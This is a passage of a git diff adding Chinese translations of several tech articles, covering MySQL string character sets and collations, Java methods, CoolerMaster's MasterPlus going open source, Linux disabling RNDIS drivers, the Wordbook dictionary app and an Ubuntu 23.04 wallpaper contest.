MySQL.md @@ -0,0 +1,233 @@ +[#]: subject: "A guide to strings in MySQL" +[#]: via: "https://opensource.com/article/23/1/strings-mysql" +[#]: author: "Hunter Coleman https://opensource.com/users/hunterc" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15434-1.html" + +MySQL 字符串指南 +====== + +![][0] + +> 了解 MySQL 如何存储和显示你的字符串变量,以便你能更好地控制你的数据。 + +字符串是你在 MySQL 中使用的最常见的数据类型之一。许多用户在他们的数据库中插入和读取字符串,而没有认真地了解过它们。本文旨在让你深入了解 MySQL 如何存储和显示你的字符串变量,以便你能更好地控制你的数据。 + +你可以把字符串分成两类:二进制和非二进制。你可能在大多数时候想到的是非二进制字符串。非二进制字符串有字符集和排序的不同。另一方面,二进制字符串存储诸如 MP3 文件或图像等东西。即使你在二进制字符串中存储了一个词,比如“歌曲”,它的存储方式也与非二进制字符串不同。 + +我将重点讨论非二进制字符串。MySQL 中的所有非二进制字符串都与字符集和排序相关。字符串的字符集控制哪些字符可以存储在字符串中,而它的排序方式控制当你显示字符串时如何排序。 + +### 字符集 + +要查看你系统中的字符集,请运行以下命令: + +``` +SHOW CHARACTER SET; +``` + +这个命令将输出四列数据,包括字符集: + +- 名称 +- 简要描述 +- 默认的排序方式 +- 字符集中每个字符的最大尺寸 + +MySQL 过去默认为 `latin1` 字符集,但自 8.0 版以来,默认为 `utf8mb4`。现在的默认排序方式是 `utf8mb4_0900_ai_ci`。`ai` 表示该排序对音调不敏感( `á` = `a`),而 `ci` 则指定它对大小写不敏感(`a` = `A`)。 + +不同的字符集将其字符存储在内存中不同大小的块中。例如,从上面的命令可以看出,存储在 `utf8mb4` 的字符被存储在 1 到 4 个字节大小的内存中。如果你想看看一个字符串是否包含多字节的字符,你可以使用 `CHAR_LENGTH()` 和 `LENGTH()` 函数。`CHAR_LENGTH()` 显示一个字符串包含多少个字符,而 `LENGTH()` 显示一个字符串有多少个字节,根据字符集的不同,它可能与一个字符串的字符长度相同,也可能不相同。下面是一个例子: + +``` +SET @a = CONVERT('data' USING latin1); + +SELECT LENGTH(@a), CHAR_LENGTH(@a); + ++------------+-----------------+ +| LENGTH(@a) | CHAR_LENGTH(@a) | ++------------+-----------------+ +| 4 | 4 | ++------------+-----------------+ +``` + +这个例子表明,`latin1` 字符集以单字节为单位存储字符。其他字符集,如 `utf16`,允许多字节的字符: + +``` +SET @b = CONVERT('data' USING utf16); + +SELECT LENGTH(@b), CHAR_LENGTH(@b); + ++------------+------------------+ +| LENGTH(@b) | CHAR_LENGTH(@b) | ++------------+------------------+ +| 8 | 4 | ++------------+------------------+ +``` + +### 排序 + +当你运行带有 `ORDER BY` 子句的 SQL 语句时,字符串排序方式将决定值的显示方式。你对排序方式的选择是由你选择的字符集决定的。当你运行上面的 `SHOW CHARACTER SET` 命令时,你看到了每个字符集的默认排序方式。你可以很容易地看到某个特定字符集的所有排序方式。例如,如果你想查看 `utf8mb4` 字符集允许哪些排序,请运行: + +``` +SHOW COLLATION LIKE 'utf8mb4%'; +``` + +排序方式可以是不区分大小写的,也可以是区分大小写的,或者是二进制的。让我们建立一个简单的表,向其中插入一些值,然后用不同的排序方式查看数据,看看输出结果有什么不同: + +``` +CREATE TABLE sample (s CHAR(5)); + +INSERT INTO sample (s) VALUES + ('AAAAA'), ('ccccc'), ('bbbbb'), ('BBBBB'), ('aaaaa'), ('CCCCC'); + +SELECT * FROM sample; + ++-----------+ +| s | ++-----------+ +| AAAAA | +| ccccc | +| bbbbb | +| BBBBB | +| aaaaa | +| CCCCC | ++-----------+ +``` + +在不区分大小写的情况下,你的数据会按字母顺序返回,但不能保证大写的单词会排在小写的单词之前,如下图所示: + +``` +SELECT * FROM sample ORDER BY s COLLATE utf8mb4_turkish_ci; + ++-----------+ +| s | ++-----------+ +| AAAAA | +| aaaaa | +| bbbbb | +| BBBBB | +| ccccc | +| CCCCC | ++-----------+ +``` + +另一方面,当 MySQL 运行大小写敏感的搜索时,每个字母的小写将排在大写之前: + +``` +SELECT * FROM sample ORDER BY s COLLATE utf8mb4_0900_as_cs; + ++-----------+ +| s | ++-----------+ +| aaaaa | +| AAAAA | +| bbbbb | +| BBBBB | +| ccccc | +| CCCCC | ++-----------+ +``` + +而按二进制排序方式将返回所有大写的值,然后再返回小写的值: + +``` +SELECT * FROM sample ORDER BY s COLLATE utf8mb4_0900_bin; + ++-----------+ +| s | ++-----------+ +| AAAAA | +| ccccc | +| bbbbb | +| BBBBB | +| aaaaa | +| CCCCC | ++-----------+ +``` + +如果你想知道一个字符串使用哪种字符集和排序,你可以使用被恰当命名的 `charset` 和 `collation` 函数。运行 MySQL 8.0 或更高版本的服务器将默认使用 `utf8mb4` 字符集和 `utf8mb4_0900_ai_ci` 排序: + +``` +SELECT charset('data'); + ++-------------------+ +| charset('data') | ++-------------------+ +| utf8mb4 | ++-------------------+ + +SELECT collation('data'); + ++--------------------+ +| collation('data') | ++--------------------+ +| utf8mb4_0900_ai_ci | ++--------------------+ +``` + +你可以使用 `SET NAMES` 命令来改变所使用的字符集或排序方式。 + +要从 `utf8mb4` 字符集改为 `utf16`,运行这个命令: + +``` +SET NAMES 'utf16'; +``` + +如果你想选择默认以外的排序方式,你可以在 `SET NAMES` 命令中添加一个 `COLLATE` 子句。 + +例如,假设你的数据库存储西班牙语的单词。MySQL 的默认排序(`utf8mb4_0900_ai_ci`)将 `ch` 和 `ll` 视为两个不同的字符,并将它们排序。但在西班牙语中,`ch` 和 `ll` 是单独的字母,所以如果你想让它们按正确的顺序排序(分别排在 `c` 和 `l` 之后),你需要使用不同的排序。一个选择是使用 `utf8mb4_spanish2_ci` 排序方式: + +``` +SET NAMES 'utf8mb4' COLLATE 'utf8mb4_spanish2_ci'; +``` + +### 储存字符串 + +MySQL 允许你为你的字符串值选择不同的数据类型。(甚至比其他流行的数据库,如 PostgreSQL 和 MongoDB 更多。) + +下面是 MySQL 的二进制字符串数据类型的列表、它们的非二进制对应物,以及它们的最大长度: + +- `binary`:`char`(255) +- `varbinary`:`varchar`(65,535) +- `tinyblob`:`tinytext`(255) +- `blob`:`text`(65,535) +- `mediumblob`:`mediumtext`(16,777,215) +- `longblob`:`longtext`(4,294,967,295) + +要记住的一件重要事情是,与被存储在可变长度的字段中的 `varbinary`、`varchar`、`text` 和 `blob` 类型不同(也就是说,只使用需要的空间),MySQL 将二进制(`binary`)和字符(`char`)类型存储在固定长度的字段。因此,像 `char(20)` 或 `binary(20)` 这样的值将总是占用 20 个字节,即使你在其中存储了少于 20 个字符。对于二进制类型,MySQL用 ASCII NUL 值(`0x00`)填充这些值,对于 字符类型,用空格填充。 + +在选择数据类型时要考虑的另一件事是,你是否希望在字符串后面的空格被保留或剥离。在显示数据时,MySQL 会从以字符数据类型存储的数据中剥离空格,但不会剥离 `varchar` 的空格。 + +``` +CREATE TABLE sample2 (s1 CHAR(10), s2 VARCHAR(10)); + +INSERT INTO sample2 (s1, s2) VALUES ('cat ', 'cat '); + +SELECT s1, s2, CHAR_LENGTH(s1), CHAR_LENGTH(s2) FROM sample2; + ++---------+---------+-----------------------------------+ +| s1 | s2 | CHAR_LENGTH(s1) | CHAR_LENGTH(s2) | ++---------+---------+-----------------------------------+ +| cat | cat | 3 | 10 | ++---------+---------+-----------------------------------+ +``` + +### 总结 + +字符串是数据库中最常用的数据类型之一,而 MySQL 仍然是当今最流行的数据库系统之一。我希望你能从这篇文章中学到一些新的东西,并能用你的新知识来提高你的数据库技能。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/strings-mysql + +作者:[Hunter Coleman][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hunterc +[b]: https://github.com/lkxed +[0]: https://img.linux.net.cn/data/attachment/album/202301/11/161410lh9944zpgjgmgs8t.jpg \ No newline at end of file diff --git a/published/202301/20230110.2 ⭐️ Wow! CoolerMaster's MasterPlus Software to Go Open Source!.md b/published/202301/20230110.2 ⭐️ Wow! CoolerMaster's MasterPlus Software to Go Open Source!.md new file mode 100644 index 0000000000..000cffc3b4 --- /dev/null +++ b/published/202301/20230110.2 ⭐️ Wow! CoolerMaster's MasterPlus Software to Go Open Source!.md @@ -0,0 +1,78 @@ +[#]: subject: "Wow! CoolerMaster's MasterPlus Software to Go Open Source!" +[#]: via: "https://news.itsfoss.com/coolermaster-open-source-software/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15433-1.html" + +酷冷至尊(CoolerMaster)的 MasterPlus 软件即将开源 +====== + +> MasterPlus 将被彻底改造并推出开源版本?听起来不错! + +![][1] + +大多数游戏/外设软件套装要么是专有的,要么是没有对 Linux 的官方支持。 + +因此,我们必须不断寻找开源工具来配置我们的硬件以获得原生功能。 + +像 [Piper][2]、[OpenRGB][3]、[Solaar][4] 等在这些情况下都很有用。 + +但是,有时候,即使是这些也是不够的。 + +幸运的是,[酷冷至尊(CoolerMaster)][5] 已经决定发布其 [MasterPlus][6] 软件的开源版本,旨在为其散热器和第三方的散热器提供服务。 + +**虽然这并不能保证它可以用在 Linux 系统上,但我们绝对可以期待它。** + +此举也应该鼓励雷蛇和罗技这样公司考虑制作精简过的开源工具。 + +让我们看看酷冷至尊打算怎么做。 + +### MasterPlus 开源版本:我们目前所知的情况 + +![酷冷至尊 Masterplus 改版][7] + +**酷冷至尊在最近的 [CES 2023][8] 活动中透露了他们计划发布新的 MasterPlus 开源版本**。感谢来自 [Boring Text Reviews][9] 的 Albert 让我们注意到了这一点。 + +**预期会有什么?** 对 MasterPlus 软件进行了全面的重新设计,有一个 API 插件系统,允许非酷冷至尊散热器与之整合。 + +他们已经澄清,酷冷至尊的独有功能不能配合其他散热器一起工作。因此,诸如检测 AIO 散热器的泄漏或计算 PSU 的效率等,都不能对第三方产品进行跟踪。 + +相反,该应用程序将只支持读取基本的性能信息,如温度和风扇速度,并能够配置 ARGB 设备。 + +如果你问我,**这总比没有好。** 而且,如果你的系统碰巧使用了酷冷至尊的组件,这对你来说是一个令人兴奋的消息! + +酷冷至尊还展示了 API 系统的潜在应用,让它与一个照片应用程序挂钩,用它来控制集成在电脑机箱侧面的辅助显示器。 + +此外,他们还介绍了其软件的全面云整合。但遗憾的是,这部分不会开源。 + +**什么时候?** 我们还没有 MasterPlus 开源的具体发布日期。 + +但是,如果让我猜,2023 年的某个时候是最好的选择。 + +💬 _即使该工具没有被确认可以在 Linux 上工作,对开源工具来说也是一个好的开始,不是吗?你怎么看?_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/coolermaster-open-source-software/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/coolermaster-masterplus-goes-opensource.png +[2]: https://github.com/libratbag/piper +[3]: https://openrgb.org +[4]: https://github.com/pwr-Solaar/Solaar +[5]: https://www.coolermaster.com +[6]: https://masterplus.coolermaster.com +[7]: https://news.itsfoss.com/content/images/2023/01/CoolerMaster_MasterPlus_Revamp-1.png +[8]: https://www.ces.tech +[9]: https://boringtextreviews.com/exclusive-say-goodbye-to-bloated-closed-source-software-coolermaster-to-release-new-open-source-version-of-its-software-with-api-integration-and-it-can-work-with-other-coolers-too diff --git a/published/202301/20230110.3 ⭐️⭐️ How to use methods in Java.md b/published/202301/20230110.3 ⭐️⭐️ How to use methods in Java.md new file mode 100644 index 0000000000..135aa0c64a --- /dev/null +++ b/published/202301/20230110.3 ⭐️⭐️ How to use methods in Java.md @@ -0,0 +1,191 @@ +[#]: subject: "How to use methods in Java" +[#]: via: "https://opensource.com/article/23/1/java-methods" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "ZhangZhanhaoxiang" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15473-1.html" + +如何在 Java 中使用方法 +====== + +> 在这个简便的教程中,我们可以了解到 Java 中方法的定义,如何使用方法,以及何时使用方法。 + +![][0] + +Java 中的方法(在许多其他编程语言中称为“函数”)是被组合在一起并标记为可重用的一块代码。方法很有用,因为它们允许你在不重写相同代码的情况下,执行相同的操作或一系列操作,这不仅意味着你的工作量减少,还意味着出现问题时需要维护和调试的代码减少。 + +方法存在于类中,因此标准 Java 样板代码适用: + +``` +package com.opensource.example; + +public class Example { + // 在此写代码 +} +``` + +在这样一个简单的单文件应用程序中,包定义并不是绝对必要的,但它是一个很好的习惯,而且大多数 IDE 都强制执行它。 + +默认情况下,Java 会寻找在类中运行的 `main` 方法。方法可以是公有的或私有的,也可以是静态的或非静态的,但 `main` 方法必须是公有的、静态的,Java 编译器才能识别和使用它。当方法是公有的时,它可以从类外部执行。要在程序启动时调用 `Example` 类,其 `main` 方法必须是可访问的,因此将其设置为 `public`。 + +下面是两个方法的简单演示:一个 `main` 方法在调用 `Example` 类时默认执行,另一个 `report` 方法接受 `main` 的输入并执行简单操作。 + +为了模拟任意数据输入,我使用了 `if`-`then` 语句,该语句根据你启动应用程序的时间在两个字符串之间进行选择。换句话说,`main` 方法首先设置一些数据(在现实生活中,这些数据可以来自用户输入,也可以来自应用程序其他地方的其他方法),然后 “调用” `report`方法,将处理后的数据作为输入提供: + +``` +package com.opensource.example; + +public class Example { + public static void main(String[] args) { + // 生成一些数据 + long myTime = System.currentTimeMillis(); + String weather; + + if ( myTime%2 == 0 ) { + weather = "party"; + } else { + weather = "apocalypse"; + } + + // 调用其他方法 + report(weather); + } + + private static void report(String day) { + System.out.printf("Welcome to the zombie %s\n", day); + } +} +``` + +运行代码: + +``` +$ java ./Example.java +Welcome to the zombie apocalypse +$ java ./Example.java +Welcome to the zombie party +``` + +请注意,同一 `report` 方法有两个不同的结果。当然,在这个简单的演示中,不需要第二种方法。模拟数据生成的 `if`-`then` 语句可能生成了相同的结果。但是,当一个方法执行一项复杂的任务时,比如将图像调整为缩略图,然后使用调整后的图像在屏幕上生成小部件,那么附加组件的“费用”就很有意义了。 + +### 何时使用 Java 方法 + +很难知道何时使用方法,何时只将数据发送到 [Java 流][1] 或循环中。如果你面临这个决定,答案通常是使用一种方法。原因如下: + +- 方法开销少。它们不会给代码增加处理开销。 +- 方法减少代码的行数。 +- 方法是特定的。查找名为 `resizeImage` 的方法通常比查找隐藏在从驱动器加载图像的函数中某个循环中的代码更容易。 +- 方法是可重用的。当你第一次编写方法时,你可能会 _认为_ 它只对应用程序中的一个任务有用。然而,随着应用程序的编写,你可能会发现自己正在使用一种你认为“已完成”的方法。 + +### 函数式编程与面向对象编程 + +函数式编程利用方法作为执行任务的主要构造。创建一个方法,该方法接受一种数据,处理该数据,并输出新数据。将许多方法串在一起,你就拥有了一个动态且功能强大的应用程序。像 C 和 [Lua][2] 这样的编程语言就是这种编码风格的例子。 + +用代码完成任务的另一种方式是 Java 使用的面向对象模型。在面向对象编程中,方法是模板的组成部分。你可以创建对象,而不是将数据从一个方法发送到另一个方法,并可以通过使用它们的方法来更改它们。 + +从面向对象的角度来看,这是一个简单的 “僵尸末日” 演示程序。在函数方法中,我使用一种方法生成数据,另一种方法使用该数据执行操作。面向对象的等价物是具有表示工作单元的类。这个示例应用程序向用户显示一条当天的消息,宣布这一天会有僵尸派对或是僵尸末日。编写一个“天”对象,然后查询该对象以了解其特性是有意义的。作为演示面向对象构造的不同方面的借口,新的示例应用程序还将统计有多少僵尸出现在派对上(或末日)。 + +Java 为每个类使用一个文件,因此要创建的第一个文件是 `Day.Java`,它用作 `Day` 对象: + +``` +package com.opensource.example; + +import java.util.Random; + +// 类 +public class Day { + public static String weather; + public int count; + +// 构造方法 + public Day() { + long myTime = System.currentTimeMillis(); + + if ( myTime%2 == 0 ) { + weather = "paradise"; + } else { + weather = "apocalypse"; + } + } + +// 方法 + public String report() { + return weather; + } + + public int counter() { + Random rand = new Random(); + count = count + rand.nextInt(100); + + return(count); + } +} +``` + +在“类”部分中,创建了两个域:天象 `weather` 和计数 `count`。`weather` 是静态的。在一天的过程中(在这种假想的情况下),`weather` 不会改变。要么是派对 `paradise`,要么是末日 `apocalypse`,持续了一整天。然而,僵尸的数量在一天中会增加。 + +在“构造方法”部分,确定当天的天象。它是作为一个 [构造方法][3] 完成的,因为它只在类最初被调用时发生一次。 + +在“方法”部分,`report` 方法只返回由构造方法确定和设置的天象报告。然而,`counter` 方法生成一个随机数,并将其添加到当前僵尸计数中。 + +换句话说,这个类做了三件不同的事情: + +- 表示应用程序定义的“天”。 +- 设置当天不变的天气报告。 +- 设置一天中不断增加的僵尸数量。 + +要使用这所有,请创建第二个文件: + +``` +package com.opensource.example; + +public class Example { + public static void main(String[] args) { + Day myDay = new Day(); + String foo = myDay.report(); + String bar = myDay.report(); + + System.out.printf("Welcome to a zombie %s\n", foo); + System.out.printf("Welcome to a zombie %s\n", bar); + System.out.printf("There are %d zombies out today.\n", myDay.counter()); + System.out.printf("UPDATE: %d zombies. ", myDay.counter()); + System.out.printf("UPDATE: %d zombies. ", myDay.counter()); + } +} +``` + +因为现在有两个文件,所以使用 Java IDE 运行代码是最简单的,但是如果不想使用 IDE,可以创建自己的 [JAR 文件][4]。运行代码以查看结果: + +``` +Welcome to a zombie apocalypse +Welcome to a zombie apocalypse +There are 35 zombies out today. +UPDATE: 67 zombies. UPDATE: 149 zombies. +``` + +无论调用 `report` 方法多少次,`weather` 都保持不变,但调用 `counter` 方法的次数越多,僵尸的数量就会增加。 + +### Java 方法 + +方法(或函数)是编程中的重要组成。在 Java 中,你可以将它们作为函数式编程的单个类的一部分使用,也可以在面向对象编程的类之间使用它们。两种类型的编程对于解决同一个问题有不同的视角,因此没有对与错之分。通过反复尝试,积累一点经验,你会知道哪一个最适合某个特定的问题。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/java-methods + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[ZhangZhanhaoxiang](https://github.com/ZhangZhanhaoxiang) +校对:[wxy](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/1/javastream +[2]: https://opensource.com/article/22/11/lua-worth-learning +[3]: https://opensource.com/article/19/6/what-java-constructor +[4]: https://opensource.com/article/21/8/fastjar +[0]: https://img.linux.net.cn/data/attachment/album/202301/24/003036jk84quk8ngdqgd8z.jpg \ No newline at end of file diff --git a/published/202301/20230111.0 ⭐️⭐️ Linux is All Set to Disable Microsoft's RNDIS Drivers.md b/published/202301/20230111.0 ⭐️⭐️ Linux is All Set to Disable Microsoft's RNDIS Drivers.md new file mode 100644 index 0000000000..7010eef3a9 --- /dev/null +++ b/published/202301/20230111.0 ⭐️⭐️ Linux is All Set to Disable Microsoft's RNDIS Drivers.md @@ -0,0 +1,77 @@ +[#]: subject: "Linux is All Set to Disable Microsoft's RNDIS Drivers" +[#]: via: "https://news.itsfoss.com/linux-disable-microsoft-rndis/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15452-1.html" + +Linux 已准备好禁用微软的 RNDIS 驱动程序,但是…… +====== + +> Linux 内核将不再支持 RNDIS 驱动程序。这是一个好的举措吗?这对你意味着什么?在这里了解一下。 + +![Linux 已经准备好禁用微软的 RNDIS 驱动程序][1] + +微软的 RNDIS 协议(即 远程网络驱动接口规范Remote Network Driver Interface Specification 的简称),是一个专有的 USB 协议,用于计算机上的虚拟以太网功能。 + +这方面最常见的使用情况是通过连接到电脑上的 USB,使用手机的移动网络连接互联网,也称为 [系连][2]Tethering。 + +尽管它主要在 Windows 上工作,但它成为 Linux 内核的一部分已经有一段时间了。 + +但这种情况很快就会改变。 + +### 向 RNDIS 协议说再见? + +![][3] + +**发生了什么?** 周一,[Greg Kroah-Hartman][4] 创建了 [usb.git rndis-removal][5] 分支,其中他提到禁用 Linux 上所有 RNDIS 协议驱动程序的实现。 + +在该提交中他提到: + +> 微软的 RNDIS 协议按照设计是不安全的,在任何连接不信任的主机或设备的系统上使用它都是脆弱的。因为该协议不可能变得安全,所以只要禁用所有的 RNDIS 驱动,就可以防止任何人再使用它们。Windows 只在 XP 和更新一些的系统中需要用它,比这更早的 Windows 系统可以使用正常的 USB 类协议来代替,没有这些问题。 + +正如最初由 [Phoronix][6] 报道的那样,一旦这个协议在 Kconfig 选项中被标记为 “损坏”,它将再保留一段时间,最终从内核中删除。 + +但是**为什么呢?** + +众所周知,RNDIS 在 Windows 之外的平台上的实现是一团糟,并带来了相当多的安全风险。此外,RNDIS 并不像以前那样广泛使用了,它带来的安全风险可能是作出这一决定的主要原因之一。 + +**这对目前的用户有影响吗?你应该担心吗?** + +如果我们看一下对这一即将到来的变化的 [Reddit 讨论][7],我们会发现许多用户仍然很担心**这是否会破坏大家的 USB 连接**。 + +考虑到许多安卓手机仍然使用 RNDIS 而不是 CDC NCM(一种较新的协议),用户似乎对这一举措感到困惑 😕;不只是用户,一位 [谷歌的内核网络开发人员][8] 也提出了这个议题,但我们还没有看到对此的回应。 + +**但不是每个人都使用主线 Linux 内核?如果你不想受到这种变化的影响,你是否应该坚持使用 LTS 版本的内核?** + +此外,用户希望更清楚地了解这是否会影响到所有人。 + +但是,从目前来看,Greg 可能并没有给出更多的细节来说服一些相关用户。 + +🤔 当然,我们不是 Linux 内核维护者。所以,最好等这个提交通过时,我希望 Linux 内核维护者能比我们知道更多的信息。 + +💭 你对这个计划中的 Linux 内核的变化有什么看法?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-disable-microsoft-rndis/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/linux-to-disable-ms-network-drivers.png +[2]: https://en.wikipedia.org/wiki/Tethering +[3]: https://news.itsfoss.com/content/images/2023/01/kernel-patch-rndis.jpg +[4]: https://twitter.com/gregkh +[5]: https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb.git/commit/?h=rndis-removal&id=5eb127bb9741c1480aff95ffa4e1bd4cd9b5b16d +[6]: https://www.phoronix.com/news/Linux-Disabling-RNDIS-Drivers +[7]: https://www.reddit.com/r/linux/comments/108avzx/linux_preparing_to_disable_drivers_for_microsofts/ +[8]: https://lkml.org/lkml/2022/11/23/1502 diff --git a/published/202301/20230111.1 ⭐️ Wordbook Offline English Dictionary App for GNOME.md b/published/202301/20230111.1 ⭐️ Wordbook Offline English Dictionary App for GNOME.md new file mode 100644 index 0000000000..cf053b9cb9 --- /dev/null +++ b/published/202301/20230111.1 ⭐️ Wordbook Offline English Dictionary App for GNOME.md @@ -0,0 +1,72 @@ +[#]: subject: "Wordbook: Offline English Dictionary App for GNOME" +[#]: via: "https://www.debugpoint.com/wordbook-offline-dictionary/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15466-1.html" + +Wordbook:适用于 GNOME 的离线英语词典应用 +====== + +![][0] + +> 遇见 Wordbook:一个 GNOME 桌面的离线词典应用。 + +我们大多在谷歌、DDG 或其他搜索引擎上搜索单词信息,如含义、同义词、反义词等。 + +由于今天几乎每个人都有一个连接互联网的手机,在谷歌上搜索可能更容易。 + +但对于离线使用,在没有互联网连接的情况下,你可以尝试 [Wordbook][1]。 + +### Wordbook:离线词典应用 + +这个应用在本质上是非常基础的,但它的能力足以完成工作。Wordbook 目前支持一个**英英字典**。在其核心部分,它使用 [Open English WordNet 数据库][2] 进行定义。Open English Wordnet 是 [Princeton Wordnet项目][3] 的一个开源复刻。 + +Wordbook 应用还可以使用 [eSpeak][4] – 一个自由开源的语音合成器来发音。 + +![Wordbook - 英译英词典应用][5] + +然而,在第一次运行时,它需要一次性上网,以下载离线数据。仅此而已。其他值得注意的功能包括实时搜索、双击搜索和带有 HTML 标记的自定义定义。 + +Wordbook 是一个 [GNOME 应用][6],使用现代的 GTK4 和 libadwaita 构建。因此,它与 GNOME 桌面的浅色和深色主题整合得很好。你也可以使用 Wordbook 的随机单词功能来学习新单词以增加你的词汇量。 + +### 安装 + +你可以很容易地从 Flathub 将其作为 Flatpak 应用安装。为 Flatpak 和 Flathub 设置你的系统,然后从终端使用以下命令安装它: + +``` +flatpak install com.github.fushinari.Wordbook +``` + +安装后,你可以在应用菜单中找到它。 + +### 结束语 + +我希望你在学校或商业工作中使用这个小小的应用。如果你在写论文和较长的段落,离线特性是很方便的。 + +你知道其他 Linux 的离线字典吗?请在评论栏里告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/wordbook-offline-dictionary/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://github.com/fushinari/Wordbook +[2]: https://github.com/globalwordnet/english-wordnet +[3]: https://wordnet.princeton.edu/ +[4]: https://espeak.sourceforge.net/ +[5]: https://www.debugpoint.com/wp-content/uploads/2023/01/Wordbook-English-to-English-Dictionary-App.jpg +[6]: https://www.debugpoint.com/tag/gnome-app +[7]: https://www.debugpoint.com/install-ubuntu-windows-virtualbox/ +[8]: https://floss.social/@debugpoint +[0]: https://img.linux.net.cn/data/attachment/album/202301/22/120052z1e0bg1ynyanors2.jpg \ No newline at end of file diff --git a/published/202301/20230112.1 ⭐️ Ubuntu 23.04 Lunar Lobster Wallpaper Competition is Now Open.md b/published/202301/20230112.1 ⭐️ Ubuntu 23.04 Lunar Lobster Wallpaper Competition is Now Open.md new file mode 100644 index 0000000000..d4ca8baa62 --- /dev/null +++ b/published/202301/20230112.1 ⭐️ Ubuntu 23.04 Lunar Lobster Wallpaper Competition is Now Open.md @@ -0,0 +1,59 @@ +[#]: subject: "Ubuntu 23.04 Lunar Lobster Wallpaper Competition is Now Open" +[#]: via: "https://debugpointnews.com/ubuntu-23-04-wallpaper-competition/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15448-1.html" + +Ubuntu 23.04 “月球龙虾” 壁纸比赛开始了 +====== + +![][1] + +> 喜欢数字绘画或摄影?这个壁纸比赛可以让你的照片出现在 Ubuntu 23.04 的官方版本中。 + +### Ubuntu 23.04 的壁纸比赛 + +Ubuntu 23.04 “月球龙虾Lunar Lobster” 版本将于 2023 年 4 月发布。按照时间表,在即将到来的 BETA 版本之前,官方壁纸比赛现在已经开始。 + +按照官方的指导方针,你必须拥有你所发布的图片的权利,而且必须是原创。可以说,不应该考虑人工智能生成的图像。 + +此外,你提交的图片应该至少有 3840x2160px 的尺寸,文件大小不应超过 10MB。文件格式以 SVG 和 WebP 为佳。然而,标准格式如 PNG 和 JPG 也可以接受。 + +此外,你的图片不应该有任何水印、标志或文字,如 “Lunar Lobster” 或 “Ubuntu”。你可以在 [这里][2] 阅读详细的指导原则。 + +最后,你的壁纸可以以官方吉祥物 —— “月球” 和 “龙虾” 为特色。 + +提交截止日期为 2023 年 2 月 6 日,最终获胜者将在 2023 年 2 月 18 日社区投票后公布。 + +![早期提交的 Ubuntu 23.04 官方壁纸之一][3] + +### 如何提交? + +前往官方 Discourse 论坛的帖子下提交你的作品。请务必提到你的名字和 Twitter,如果被选中的话,可以得到 Ubuntu 团队的致谢。 + +> **[提交壁纸][4]** + +戴上你的创意帽子,提交所有那些很酷的壁纸吧! + +_图片来源:各自的作者_ + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/ubuntu-23-04-wallpaper-competition/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2023/01/wall2304head.jpg +[2]: https://gitlab.gnome.org/GNOME/gnome-backgrounds/-/blob/main/README.md +[3]: https://debugpointnews.com/wp-content/uploads/2023/01/One-of-the-early-submission-for-Ubuntu-23.04-official-wallpaper.jpg +[4]: https://discourse.ubuntu.com/t/lunar-lobster-23-04-wallpaper-competition/33132 diff --git a/published/202301/20230112.2 ⭐️⭐️ Discourse 3.0 is an 